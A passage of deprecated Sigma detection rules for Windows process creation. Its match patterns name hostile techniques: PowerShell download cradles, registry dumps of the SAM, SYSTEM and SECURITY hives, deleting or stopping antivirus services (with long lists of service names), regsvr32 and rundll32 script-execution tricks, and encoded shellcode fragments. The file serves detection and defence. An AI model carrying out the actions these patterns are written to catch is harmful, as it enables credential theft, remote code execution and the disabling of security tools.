"content": "title: Base64 Encoded Listing of Shadowcopy\nid: 47688f1b-9f51-4656-b013-3cc49a166a36\nstatus: deprecated\ndescription: Detects base64 encoded listing Win32_Shadowcopy\nreferences:\n - https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar\nauthor: Christian Burkard (Nextron Systems)\ndate: 2022/03/01\nmodified: 2023/01/30\ntags:\n - attack.execution\n - attack.t1059.001\n - attack.defense_evasion\n - attack.t1027\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n # Win32_Shadowcopy | ForEach-Object\n CommandLine|contains:\n - 'VwBpAG4AMwAyAF8AUwBoAGEAZABvAHcAYwBvAHAAeQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQA'\n - 'cAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0A'\n - 'XAGkAbgAzADIAXwBTAGgAYQBkAG8AdwBjAG8AcAB5ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdA'\n condition: selection\nfields:\n - CommandLine\n - ParentCommandLine\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_powershell_base64_shellcode.yml",
"content": "title: Potential PowerShell Base64 Encoded Shellcode\nid: 2d117e49-e626-4c7c-bd1f-c3c0147774c8\nstatus: deprecated\ndescription: Detects potential powershell Base64 encoded Shellcode\nreferences:\n - https://twitter.com/cyb3rops/status/1063072865992523776\nauthor: Florian Roth (Nextron Systems)\ndate: 2018/11/17\nmodified: 2023/04/06\ntags:\n - attack.defense_evasion\n - attack.t1027\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine|contains:\n - 'OiCAAAAYInlM'\n - 'OiJAAAAYInlM'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_powershell_bitsjob.yml",
"content": "title: Suspicious Bitsadmin Job via PowerShell\nid: f67dbfce-93bc-440d-86ad-a95ae8858c90\nstatus: deprecated\ndescription: Detect download by BITS jobs via PowerShell\nreferences:\n - https://eqllib.readthedocs.io/en/latest/analytics/ec5180c9-721a-460f-bddc-27539a284273.html\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md\nauthor: Endgame, JHasenbusch (ported to sigma for oscd.community)\ndate: 2018/10/30\nmodified: 2022/11/21\ntags:\n - attack.defense_evasion\n - attack.persistence\n - attack.t1197\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|endswith:\n - '\\powershell.exe'\n - '\\pwsh.exe'\n CommandLine|contains: 'Start-BitsTransfer'\n condition: selection\nfields:\n - ComputerName\n - User\n - CommandLine\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_powershell_download_cradles.yml",
"content": "title: PowerShell Web Download\nid: 6e897651-f157-4d8f-aaeb-df8151488385\nstatus: deprecated\ndescription: Detects suspicious ways to download files or content using PowerShell\nreferences:\n - https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-03-24\nmodified: 2025-07-18\ntags:\n - attack.command-and-control\n - attack.execution\n - attack.t1059.001\n - attack.t1105\nlogsource:\n product: windows\n category: process_creation\ndetection:\n selection:\n CommandLine|contains:\n - '.DownloadString('\n - '.DownloadFile('\n - 'Invoke-WebRequest '\n - 'iwr '\n condition: selection\nfalsepositives:\n - Scripts or tools that download files\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_powershell_service_modification.yml",
"content": "title: Stop Or Remove Antivirus Service\nid: 6783aa9e-0dc3-49d4-a94a-8b39c5fd700b\nstatus: deprecated\ndescription: |\n Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services.\n Adversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md\n - https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/\nauthor: frack113\ndate: 2021/07/07\nmodified: 2023/03/04\ntags:\n - attack.defense_evasion\n - attack.t1562.001\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_action:\n CommandLine|contains:\n - 'Stop-Service '\n - 'Remove-Service '\n selection_product:\n CommandLine|contains:\n # Feel free to add more service name\n - ' McAfeeDLPAgentService'\n - ' Trend Micro Deep Security Manager'\n - ' TMBMServer'\n - 'Sophos'\n - 'Symantec'\n condition: all of selection*\nfields:\n - ComputerName\n - User\n - CommandLine\n - ParentCommandLine\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_powershell_susp_ps_downloadfile.yml",
"content": "title: PowerShell DownloadFile\nid: 8f70ac5f-1f6f-4f8e-b454-db19561216c5\nstatus: deprecated # Deprecated in favor of 3b6ab547-8ec2-4991-b9d2-2b06702a48d7\ndescription: Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line\nreferences:\n - https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html\nauthor: Florian Roth (Nextron Systems)\ndate: 2020-08-28\nmodified: 2025-10-20\ntags:\n - attack.execution\n - attack.t1059.001\n - attack.command-and-control\n - attack.t1104\n - attack.t1105\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine|contains|all:\n - 'powershell'\n - '.DownloadFile'\n - 'System.Net.WebClient'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_powershell_xor_encoded_command.yml",
"content": "title: Potential Xor Encoded PowerShell Command\nid: 5b572dcf-254b-425c-a8c5-d9af6bea35a6\nrelated:\n - id: cdf05894-89e7-4ead-b2b0-0a5f97a90f2f\n type: similar\nstatus: deprecated\ndescription: Detects usage of \"xor\" or \"bxor\" in combination of a \"foreach\" loop. This pattern is often found in encoded powershell code and commands as a way to avoid detection\nreferences:\n - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65\nauthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton\ndate: 2022/07/06\nmodified: 2023/01/30\ntags:\n - attack.defense_evasion\n - attack.t1027\n - attack.execution\n - attack.t1059.001\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_img:\n - Image|endswith:\n - '\\powershell.exe'\n - '\\pwsh.exe'\n - OriginalFileName:\n - 'PowerShell.exe'\n - 'pwsh.dll'\n selection_cli:\n CommandLine|contains|all:\n - 'ForEach'\n - 'Xor'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_reg_dump_sam.yml",
"content": "title: Registry Dump of SAM Creds and Secrets\nid: 038cd51c-3ad8-41c5-ba8f-5d1c92f3cc1e\nrelated:\n - id: fd877b94-9bb5-4191-bb25-d79cbd93c167\n type: similar\nstatus: deprecated\ndescription: Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets\nauthor: frack113\ndate: 2022/01/05\nmodified: 2023/02/04\ntags:\n - attack.credential_access\n - attack.t1003.002\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_reg:\n CommandLine|contains: ' save '\n selection_key:\n CommandLine|contains:\n - HKLM\\sam\n - HKLM\\system\n - HKLM\\security\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_regsvr32_anomalies.yml",
"content": "title: Regsvr32 Anomaly\nid: 8e2b24c9-4add-46a0-b4bb-0057b4e6187d\nstatus: deprecated\ndescription: Detects various anomalies in relation to regsvr32.exe\nreferences:\n - https://subt0x10.blogspot.de/2017/04/bypass-application-whitelisting-script.html\n - https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/\nauthor: Florian Roth (Nextron Systems), oscd.community, Tim Shelton\ndate: 2019/01/16\nmodified: 2023/05/26\ntags:\n - attack.defense_evasion\n - attack.t1218.010\n - car.2019-04-002\n - car.2019-04-003\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection1:\n Image|endswith: '\\regsvr32.exe'\n CommandLine|contains: '\\Temp\\'\n selection2:\n Image|endswith: '\\regsvr32.exe'\n ParentImage|endswith:\n - '\\powershell.exe'\n - '\\pwsh.exe'\n - '\\powershell_ise.exe'\n selection3:\n Image|endswith: '\\regsvr32.exe'\n ParentImage|endswith: '\\cmd.exe'\n selection4a:\n Image|endswith: '\\regsvr32.exe'\n CommandLine|contains|all:\n - '/i:'\n - 'http'\n CommandLine|endswith: 'scrobj.dll'\n selection4b:\n Image|endswith: '\\regsvr32.exe'\n CommandLine|contains|all:\n - '/i:'\n - 'ftp'\n CommandLine|endswith: 'scrobj.dll'\n selection5:\n Image|endswith: \n - '\\cscript.exe'\n - '\\wscript.exe'\n ParentImage|endswith: '\\regsvr32.exe'\n selection6:\n Image|endswith: '\\EXCEL.EXE'\n CommandLine|contains: '..\\..\\..\\Windows\\System32\\regsvr32.exe '\n selection7:\n ParentImage|endswith: '\\mshta.exe'\n Image|endswith: '\\regsvr32.exe'\n selection8:\n Image|endswith: '\\regsvr32.exe'\n CommandLine|contains:\n - '\\AppData\\Local'\n - 'C:\\Users\\Public'\n selection9: # suspicious extensions https://twitter.com/Max_Mal_/status/1542461200797163522/photo/3\n Image|endswith: '\\regsvr32.exe'\n CommandLine|endswith:\n - '.jpg'\n - '.jpeg'\n - '.png'\n - '.gif'\n - '.bin'\n - '.tmp'\n - '.temp'\n - '.txt'\n filter1:\n CommandLine|contains:\n - '\\AppData\\Local\\Microsoft\\Teams'\n - '\\AppData\\Local\\WebEx\\WebEx64\\Meetings\\atucfobj.dll'\n filter2:\n ParentImage: 'C:\\Program Files\\Box\\Box\\FS\\streem.exe'\n CommandLine|contains: '\\Program Files\\Box\\Box\\Temp\\'\n filter_legitimate:\n CommandLine|endswith: '/s C:\\Windows\\System32\\RpcProxy\\RpcProxy.dll'\n condition: 1 of selection* and not 1 of filter*\nfields:\n - CommandLine\n - ParentCommandLine\nfalsepositives:\n - Unknown\nlevel: high"
},
{
"path": "deprecated/windows/proc_creation_win_renamed_paexec.yml",
"content": "title: Renamed PaExec Execution\nid: 7b0666ad-3e38-4e3d-9bab-78b06de85f7b\nstatus: deprecated\ndescription: Detects execution of renamed paexec via imphash and executable product string\nreferences:\n - sha256=01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc\n - https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf\nauthor: Jason Lynch\ndate: 2019/04/17\nmodified: 2023/02/14\ntags:\n - attack.defense_evasion\n - attack.t1036.003\n - attack.g0046\n - car.2013-05-009\n - attack.execution\n - attack.t1569.002\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n - Product|contains: 'PAExec'\n - Hashes|contains:\n - IMPHASH=11D40A7B7876288F919AB819CC2D9802\n - IMPHASH=6444f8a34e99b8f7d9647de66aabe516\n - IMPHASH=dfd6aa3f7b2b1035b76b718f1ddc689f\n - IMPHASH=1a6cca4d5460b1710a12dea39e4a592c\n filter:\n Image|contains: 'paexec'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_renamed_powershell.yml",
"content": "title: Renamed PowerShell\nid: d178a2d7-129a-4ba4-8ee6-d6e1fecd5d20\nstatus: deprecated\ndescription: Detects the execution of a renamed PowerShell often used by attackers or malware\nreferences:\n - https://twitter.com/christophetd/status/1164506034720952320\nauthor: Florian Roth (Nextron Systems), frack113\ndate: 2019/08/22\nmodified: 2023/01/18\ntags:\n - car.2013-05-009\n - attack.defense_evasion\n - attack.t1036.003\nlogsource:\n product: windows\n category: process_creation\ndetection:\n selection:\n Description|startswith:\n - 'Windows PowerShell'\n - 'pwsh'\n Company: 'Microsoft Corporation'\n filter:\n Image|endswith:\n - '\\powershell.exe'\n - '\\powershell_ise.exe'\n - '\\pwsh.exe'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_renamed_psexec.yml",
"content": "title: Renamed PsExec\nid: a7a7e0e5-1d57-49df-9c58-9fe5bc0346a2\nstatus: deprecated\ndescription: Detects the execution of a renamed PsExec often used by attackers or malware\nreferences:\n - https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks\nauthor: Florian Roth (Nextron Systems)\ndate: 2019/05/21\nmodified: 2023/03/04\ntags:\n - car.2013-05-009\n - attack.defense_evasion\n - attack.t1036.003\nlogsource:\n product: windows\n category: process_creation\ndetection:\n selection:\n Description: 'Execute processes remotely'\n Product: 'Sysinternals PsExec'\n filter:\n Image|endswith:\n - '\\PsExec.exe'\n - '\\PsExec64.exe'\n condition: selection and not filter\nfalsepositives:\n - Software that illegaly integrates PsExec in a renamed form\n - Administrators that have renamed PsExec and no one knows why\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_renamed_rundll32.yml",
"content": "title: Renamed Rundll32.exe Execution\nid: d4d2574f-ac17-4d9e-b986-aeeae0dc8fe2\nstatus: deprecated\ndescription: Detects the execution of rundll32.exe that has been renamed to a different name to avoid detection\nreferences:\n - https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/\nauthor: Florian Roth (Nextron Systems)\ndate: 2022/06/08\nmodified: 2023/01/18\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n OriginalFileName: 'RUNDLL32.EXE'\n filter:\n Image|endswith: '\\rundll32.exe'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_root_certificate_installed.yml",
"content": "title: Root Certificate Installed\nid: 46591fae-7a4c-46ea-aec3-dff5e6d785dc\nrelated:\n - id: 42821614-9264-4761-acfc-5772c3286f76\n type: derived\nstatus: deprecated\ndescription: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md\nauthor: 'oscd.community, @redcanary, Zach Stanford @svch0st'\ndate: 2020/10/10\nmodified: 2023/03/05\ntags:\n - attack.defense_evasion\n - attack.t1553.004\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection1:\n Image|endswith: '\\certutil.exe' # Example: certutil -addstore -f -user ROOT CertificateFileName.der\n CommandLine|contains|all:\n - '-addstore'\n - 'root'\n selection2:\n Image|endswith: '\\CertMgr.exe' # Example: CertMgr.exe /add CertificateFileName.cer /s /r localMachine root /all\n CommandLine|contains|all:\n - '/add'\n - 'root'\n condition: selection1 or selection2\nfalsepositives:\n - Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_run_from_zip.yml",
"content": "title: Run from a Zip File\nid: 1a70042a-6622-4a2b-8958-267625349abf\nstatus: deprecated\ndescription: Payloads may be compressed, archived, or encrypted in order to avoid detection\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-4---execution-from-compressed-file\nauthor: frack113\ndate: 2021/12/26\nmodified: 2023/03/05\ntags:\n - attack.impact\n - attack.t1485\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|contains: '.zip\\'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_rundll32_js_runhtmlapplication.yml",
"content": "title: Rundll32 JS RunHTMLApplication Pattern\nid: 9f06447a-a33a-4cbe-a94f-a3f43184a7a3\nstatus: deprecated\ndescription: Detects suspicious command line patterns used when rundll32 is used to run JavaScript code\nreferences:\n - http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt\n - https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-01-14\nmodified: 2024-02-23\ntags:\n - attack.defense_evasion\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection1:\n CommandLine|contains|all:\n - 'rundll32'\n - 'javascript'\n - '..\\..\\mshtml,'\n - 'RunHTMLApplication'\n selection2:\n CommandLine|contains: ';document.write();GetObject(\"script'\n condition: 1 of selection*\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_rundll32_script_run.yml",
"content": "title: Suspicious Rundll32 Script in CommandLine\nid: 73fcad2e-ff14-4c38-b11d-4172c8ac86c7\nstatus: deprecated\ndescription: Detects suspicious process related to rundll32 based on arguments\nreferences:\n - https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52\n - https://github.com/redcanaryco/atomic-red-team/blob/cd3690b100a495885c407282d0c94c85f48a8a2e/atomics/T1218.011/T1218.011.md\nauthor: frack113, Zaw Min Htun (ZETA)\ndate: 2021/12/04\nmodified: 2024/02/23\ntags:\n - attack.defense_evasion\n - attack.t1218.011\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection1:\n CommandLine|contains: 'rundll32'\n selection2:\n CommandLine|contains:\n - 'mshtml,RunHTMLApplication'\n - 'mshtml,#135'\n selection3:\n CommandLine|contains:\n - 'javascript:'\n - 'vbscript:'\n condition: all of selection*\nfalsepositives:\n - False positives depend on scripts and administrative tools used in the monitored environment\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_sc_delete_av_services.yml",
"content": "title: Suspicious Execution of Sc to Delete AV Services\nid: 7fd4bb39-12d0-45ab-bb36-cebabc73dc7b\nstatus: deprecated\ndescription: Detects when attackers use \"sc.exe\" to delete AV services from the system in order to avoid detection\nreferences:\n - https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022/08/01\nmodified: 2023/03/04\ntags:\n - attack.execution\n - attack.defense_evasion\n - attack.t1562.001\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_img:\n - Image|endswith: '\\sc.exe'\n - OriginalFileName: 'sc.exe'\n selection_cli:\n CommandLine|contains: ' delete '\n selection_av_process:\n CommandLine|contains:\n # Delete Service 'AVG'\n - 'AvgAdminServer'\n - 'AVG Antivirus'\n - 'MBEndpointAgent'\n # Delete Service 'Malwarebytes'\n - 'MBAMService'\n - 'MBCloudEA'\n - 'avgAdminClient'\n # Delete Service 'Sophos'\n - 'SAVService'\n - 'SAVAdminService'\n - 'Sophos AutoUpdate Service'\n - 'Sophos Clean Service'\n - 'Sophos Device Control Service'\n - 'Sophos File Scanner Service'\n - 'Sophos Health Service'\n - 'Sophos MCS Agent'\n - 'Sophos MCS Client'\n - 'SntpService'\n - 'swc_service'\n - 'swi_service'\n - 'Sophos UI'\n - 'swi_update'\n - 'Sophos Web Control Service'\n - 'Sophos System Protection Service'\n - 'Sophos Safestore Service'\n - 'hmpalertsvc'\n - 'RpcEptMapper'\n - 'Sophos Endpoint Defense Service'\n - 'SophosFIM'\n - 'swi_filter'\n # Delete Service 'FireBird'\n - 'FirebirdGuardianDefaultInstance'\n - 'FirebirdServerDefaultInstance'\n # Delete Service 'Webroot'\n - 'WRSVC'\n # Delete Service 'ESET'\n - 'ekrn'\n - 'ekrnEpsw'\n # Delete Service 'Kaspersky'\n - 'klim6'\n - 'AVP18.0.0'\n - 'KLIF'\n - 'klpd'\n - 'klflt'\n - 'klbackupdisk'\n - 'klbackupflt'\n - 'klkbdflt'\n - 'klmouflt'\n - 'klhk'\n - 'KSDE1.0.0'\n - 'kltap'\n # Delete Service 'Quick Heal'\n - 'ScSecSvc'\n - 'Core Mail Protection'\n - 'Core Scanning Server'\n - 'Core Scanning ServerEx'\n - 'Online Protection System'\n - 'RepairService'\n - 'Core Browsing Protection'\n - 'Quick Update Service'\n # Delete Service 'McAfee'\n - 'McAfeeFramework'\n - 'macmnsvc'\n - 'masvc'\n - 'mfemms'\n - 'mfevtp'\n # Delete Service 'Trend Micro'\n - 'TmFilter'\n - 'TMLWCSService'\n - 'tmusa'\n - 'TmPreFilter'\n - 'TMSmartRelayService'\n - 'TMiCRCScanService'\n - 'VSApiNt'\n - 'TmCCSF'\n - 'tmlisten'\n - 'TmProxy'\n - 'ntrtscan'\n - 'ofcservice'\n - 'TmPfw'\n - 'PccNTUpd'\n # Delete Service 'Panda'\n - 'PandaAetherAgent'\n - 'PSUAService'\n - 'NanoServiceMain'\n - 'EPIntegrationService'\n - 'EPProtectedService'\n - 'EPRedline'\n - 'EPSecurityService'\n - 'EPUpdateService'\n condition: all of selection*\nfalsepositives:\n - Legitimate software deleting using the same method of deletion (Add it to a filter if you find cases as such)\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_schtasks_user_temp.yml",
"content": "title: Suspicious Add Scheduled Task From User AppData Temp\nid: 43f487f0-755f-4c2a-bce7-d6d2eec2fcf8\nstatus: deprecated\ndescription: schtasks.exe create task from user AppData\\Local\\Temp\nreferences:\n - malware analyse https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04\nauthor: frack113\ndate: 2021/11/03\nmodified: 2023/03/14\ntags:\n - attack.execution\n - attack.t1053.005\nlogsource:\n product: windows\n category: process_creation\ndetection:\n schtasks:\n Image|endswith: '\\schtasks.exe'\n option:\n CommandLine|contains|all:\n - '/Create '\n - '\\AppData\\Local\\Temp'\n filter_klite_codec:\n CommandLine|contains|all:\n - '/Create /TN \"klcp_update\" /XML '\n - '\\klcp_update_task.xml'\n condition: schtasks and option and not 1 of filter_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_service_stop.yml",
"content": "title: Stop Windows Service\nid: eb87818d-db5d-49cc-a987-d5da331fbd90\nstatus: deprecated\ndescription: Detects a Windows service to be stopped\nauthor: Jakob Weinzettl, oscd.community, Nasreddine Bencherchali\ndate: 2019/10/23\nmodified: 2023/03/05\ntags:\n - attack.impact\n - attack.t1489\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_sc_net_img:\n - OriginalFileName:\n - 'sc.exe'\n - 'net.exe'\n - 'net1.exe'\n - Image|endswith:\n - '\\sc.exe'\n - '\\net.exe'\n - '\\net1.exe'\n selection_sc_net_cli:\n CommandLine|contains: ' stop '\n selection_pwsh:\n Image|endswith:\n - '\\powershell.exe'\n - '\\pwsh.exe'\n CommandLine|contains: 'Stop-Service '\n filter:\n CommandLine:\n - 'sc stop KSCWebConsoleMessageQueue' # kaspersky Security Center Web Console double space between sc and stop\n - 'sc stop LGHUBUpdaterService' # Logitech LGHUB Updater Service\n User|contains: # covers many language settings\n - 'AUTHORI'\n - 'AUTORI'\n condition: (all of selection_sc_net* and not filter) or selection_pwsh\nfields:\n - ComputerName\n - User\n - CommandLine\nfalsepositives:\n - Administrator shutting down the service due to upgrade or removal purposes\nlevel: low\n"
},
{
"path": "deprecated/windows/proc_creation_win_susp_bitstransfer.yml",
"content": "title: Suspicious Bitstransfer via PowerShell\nid: cd5c8085-4070-4e22-908d-a5b3342deb74\nstatus: deprecated\ndescription: Detects transferring files from system on a server bitstransfer Powershell cmdlets\nreferences:\n - https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps\nauthor: Austin Songer @austinsonger\ndate: 2021/08/19\nmodified: 2023/01/10\ntags:\n - attack.exfiltration\n - attack.persistence\n - attack.t1197\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|endswith:\n - '\\powershell.exe'\n - '\\powershell_ise.exe'\n - '\\pwsh.exe'\n CommandLine|contains:\n - 'Get-BitsTransfer'\n - 'Add-BitsFile'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_susp_cmd_exectution_via_wmi.yml",
"content": "title: Suspicious Cmd Execution via WMI\nid: e31f89f7-36fb-4697-8ab6-48823708353b\nstatus: deprecated\ndescription: Detects suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement.\nreferences:\n - https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html\nauthor: Tim Rauch\ndate: 2022/09/27\nmodified: 2023/01/19\ntags:\n - attack.execution\n - attack.t1047\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|endswith: '\\cmd.exe'\n ParentImage|endswith: '\\WmiPrvSE.exe'\n CommandLine|contains: '\\\\\\\\127.0.0.1\\\\'\n selection_opt:\n CommandLine|contains:\n - '2>&1'\n - '1>'\n condition: all of selection*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_susp_commandline_chars.yml",
"content": "title: Suspicious Characters in CommandLine\nid: 2c0d2d7b-30d6-4d14-9751-7b9113042ab9\nstatus: deprecated\ndescription: Detects suspicious Unicode characters in the command line, which could be a sign of obfuscation or defense evasion\nreferences:\n - https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation\nauthor: Florian Roth (Nextron Systems)\ndate: 2022/04/27\nmodified: 2023/03/03\ntags:\n - attack.defense_evasion\nlogsource:\n product: windows\n category: process_creation\ndetection:\n selection_spacing_modifiers:\n CommandLine|contains: # spacing modifier letters that get auto-replaced\n - 'ˣ' # 0x02E3\n - '˪' # 0x02EA\n - 'ˢ' # 0x02E2\n selection_unicode_slashes: # forward slash alternatives\n CommandLine|contains:\n - '∕' # 0x22FF\n - '⁄' # 0x206F\n selection_unicode_hyphens: # hyphen alternatives\n CommandLine|contains:\n - '―' # 0x2015\n - '—' # 0x2014\n condition: 1 of selection*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_susp_lolbin_non_c_drive.yml",
"content": "title: Wscript Execution from Non C Drive\nid: 5b80cf53-3a46-4adc-960b-05ec19348d74\nstatus: deprecated\ndescription: Detects Wscript or Cscript executing from a drive other than C. This has been observed with Qakbot executing from within a mounted ISO file.\nreferences:\n - https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB_30.09.2022.txt\n - https://app.any.run/tasks/4985c746-601e-401a-9ccf-ae350ac2e887/\nauthor: Aaron Herman\ndate: 2022/10/01\nmodified: 2023/08/29\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_lolbin:\n Image|endswith:\n - '\\wscript.exe'\n - '\\cscript.exe'\n selection_exetensions:\n CommandLine|contains:\n - '.js'\n - '.vbs'\n - '.vbe'\n selection_drive_path:\n CommandLine|contains: ':\\'\n filter_drive_path:\n CommandLine|contains:\n - ' C:\\\\'\n - \" 'C:\\\\\"\n - ' \"C:\\\\'\n filter_env_vars:\n CommandLine|contains: '%'\n filter_unc_paths:\n CommandLine|contains: ' \\\\\\\\'\n condition: all of selection_* and not 1 of filter_*\nfalsepositives:\n - Legitimate scripts located on other partitions such as \"D:\"\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_susp_run_folder.yml",
"content": "title: Process Start From Suspicious Folder\nid: dca91cfd-d7ab-4c66-8da7-ee57d487b35b\nstatus: deprecated\ndescription: Detects process start from rare or uncommon folders like temporary folder or folders that usually don't contain executable files\nreferences:\n - Malware sandbox results\nauthor: frack113\ndate: 2022/02/11\nmodified: 2022/11/03\ntags:\n - attack.execution\n - attack.t1204\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|contains:\n - '\\Desktop\\'\n - '\\Temp\\'\n - '\\Temporary Internet'\n filter_parent:\n - ParentImage:\n - 'C:\\Windows\\System32\\cleanmgr.exe'\n - 'C:\\Program Files (x86)\\Microsoft Visual Studio\\Installer\\resources\\app\\ServiceHub\\Services\\Microsoft.VisualStudio.Setup.Service\\BackgroundDownload.exe'\n - 'C:\\Windows\\System32\\dxgiadaptercache.exe'\n - ParentImage|startswith: 'C:\\Program Files (x86)\\NVIDIA Corporation\\'\n filter_other:\n Image|endswith: 'setup.exe' # the missing \\ at the beginning is intended - to cover e.g. MySoftwareSetup.exe as well\n filter_edge:\n Image|startswith: 'C:\\Program Files (x86)\\Microsoft\\Temp\\'\n Image|endswith: '.tmp\\MicrosoftEdgeUpdate.exe'\n #OriginalFileName: msedgeupdate.dll\n condition: selection and not 1 of filter*\nfalsepositives:\n - Installers are expected to be run from the \"AppData\\Local\\Temp\" and \"C:\\Windows\\Temp\\\" directories\nlevel: low\n"
},
{
"path": "deprecated/windows/proc_creation_win_susp_squirrel_lolbin.yml",
